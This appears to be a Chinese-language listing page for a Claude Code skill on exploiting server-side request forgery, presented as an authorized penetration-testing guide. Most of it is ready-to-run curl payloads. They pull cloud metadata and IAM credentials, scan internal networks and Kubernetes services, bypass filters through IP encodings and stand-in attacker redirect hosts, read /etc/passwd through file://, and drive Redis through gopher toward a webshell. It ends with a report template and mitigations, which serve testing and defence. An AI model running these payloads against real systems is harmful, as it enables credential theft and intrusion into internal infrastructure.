关于 exploiting-server-side-request-forgery
面向授权安全测试的 SSRF 技能,适用于会获取用户提供 URL 的应用。内容涵盖识别风险功能、测试影响与过滤绕过,以及整理漏洞报告。
主要功能
- 01识别获取 URL 的功能
- 02测试云元数据访问
- 03探测内网服务与端口
- 04尝试过滤器绕过
- 05评估盲 SSRF 与 DNS 重绑定
- 06整理漏洞报告
适用场景
- 01评估 webhook 和 URL 导入接口
- 02测试 PDF 或截图生成功能
- 03检查内网暴露风险
- 04记录授权渗透测试发现
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-server-side-request-forgery安装后在 Claude Code 中输入/exploiting-server-side-request-forgery确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
利用服务端请求伪造
何时使用
- 在获得授权的渗透测试中,当应用程序抓取用户提供的 URL 时(webhook、URL 预览、文件导入)
- 在测试云托管应用程序是否存在对实例元数据服务的访问时
- 在评估 PDF 生成器、截图服务或任何渲染外部内容的功能时
- 在评估微服务架构是否存在通过 SSRF 访问内部服务时
- 在对接接受 URL 参数以获取数据的 API 进行安全评估时
前提条件
- 授权:包含 SSRF 测试范围的书面渗透测试协议
- Burp Suite Professional:配合 Collaborator 进行带外检测
- interactsh:开源 OOB 交互服务器(
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest) - SSRFmap:自动化 SSRF 利用框架(
git clone https://github.com/swisskyrepo/SSRFmap.git) - curl:用于手动测试 SSRF payload
- 目标基础设施相关知识:云服务商(AWS、GCP、Azure)、内部 IP 地址范围
工作流
步骤 1:识别易受 SSRF 攻击的功能
梳理所有会发起服务端 HTTP 请求的应用程序功能。
# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features
# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "Testing param: $param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
步骤 2:访问云实例元数据
测试针对云服务商元数据服务的 SSRF payload。
# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
# AWS - Get IAM role credentials
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
# GCP Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
# Azure Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
# DigitalOcean Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"
步骤 3:通过 SSRF 扫描内部网络
利用 SSRF 漏洞发现内部服务和端口。
# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
# Kubernetes internal services
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"
done
# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
"https://target.example.com/api/fetch-url"
done
步骤 4:绕过 SSRF 过滤器和允许列表
当基础 payload 被拦截时,使用绕过技术。
# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
"http://127.0.0.1/"
"http://0177.0.0.1/" # Octal
"http://0x7f.0.0.1/" # Hex
"http://2130706433/" # Decimal
"http://127.1/" # Short form
"http://0/" # Zero
"http://[::1]/" # IPv6 loopback
"http://0.0.0.0/" # All interfaces
"http://localtest.me/" # DNS resolves to 127.0.0.1
"http://spoofed.burpcollaborator.net/" # DNS rebinding
"http://127.0.0.1.nip.io/" # Wildcard DNS
)
for payload in "${PAYLOADS[@]}"; do
echo -n "$payload -> "
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
-X POST -H "Content-Type: application/json" \
-d "{\"url\":\"$payload\"}" \
"https://target.example.com/api/fetch-url"
echo
done
# URL parsing bypass
# Embed credentials: http://[email protected]/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
# Protocol bypass
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"file:///etc/passwd"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"dict://127.0.0.1:6379/info"}' \
"https://target.example.com/api/fetch-url"
步骤 5:利用 SSRF 升级影响
将 SSRF 与内部服务串联以实现最大影响。
# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only
# Access Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
"https://target.example.com/api/fetch-url"
# Read data from Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
"https://target.example.com/api/fetch-url"
# Access internal Jenkins
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/script"}' \
"https://target.example.com/api/fetch-url"
# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
"https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token
步骤 6:测试盲 SSRF 和 DNS 重绑定
适用于响应不会返回给攻击者的情况。
# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22/"}' \
"https://target.example.com/api/fetch-url"
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:12345/"}' \
"https://target.example.com/api/fetch-url"
# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
# - First query: returns attacker IP (passes allowlist)
# - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
"https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs
关键概念
| 概念 | 描述 |
|---|---|
| SSRF | 服务端请求伪造 - 使服务器向非预期目的地发送请求 |
| 盲 SSRF | 响应不会返回给攻击者的 SSRF,需要 OOB 检测 |
| 云元数据 | 实例元数据服务(169.254.169.254),会暴露凭据和配置 |
| Gopher 协议 | 允许传输原始 TCP 数据的协议,可用于攻击内部服务 |
| DNS 重绑定 | 通过切换 IP 解析来绕过 SSRF 主机名允许列表的 DNS 攻击 |
| TOCTOU | URL 校验中的检查时间到使用时间竞态条件 |
| IMDSv2 | AWS 元数据服务 v2,要求会话令牌,可缓解基础 SSRF |
| 开放重定向链 | 利用开放重定向绕过 SSRF 过滤器中的 URL 允许列表 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 请求修改和 Collaborator,用于盲 SSRF 检测 |
| SSRFmap | 支持多种协议的自动化 SSRF 利用框架 |
| interactsh | 用于盲 SSRF 的带外交互检测 |
| Gopherus | 生成用于攻击内部服务的 gopher payload |
| rbndr.us | 用于绕过 SSRF 过滤器的 DNS 重绑定服务 |
| singularity | 用于自动化利用的 DNS 重绑定攻击框架 |
常见场景
场景 1:Webhook URL SSRF 获取 AWS 凭据
Webhook 配置端点允许指定回调 URL。将其指向 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 会返回临时 AWS IAM 凭据,可用于访问 S3 存储桶和其他 AWS 服务。
场景 2:PDF 生成器 SSRF
一项根据 URL 生成 PDF 的功能会发起服务端请求。提供 http://127.0.0.1:8080/admin 作为 URL 会生成包含内部管理面板内容的 PDF。
场景 3:带协议绕过的图片 URL SSRF
头像 URL 字段会过滤 HTTP/HTTPS,但接受 file:// 协议。使用 file:///etc/passwd 作为头像 URL 会导致服务器读取本地文件并将内容包含在响应中。
场景 4:盲 SSRF 攻击内部 Redis
某 URL 抓取功能不返回响应内容,但会确认成功/失败。攻击者利用 gopher 协议载荷向内部 Redis 实例写入数据,从而实现远程代码执行。
输出格式
## SSRF Vulnerability Finding
**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery
### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys
### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability
### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls
评论
支持 Markdown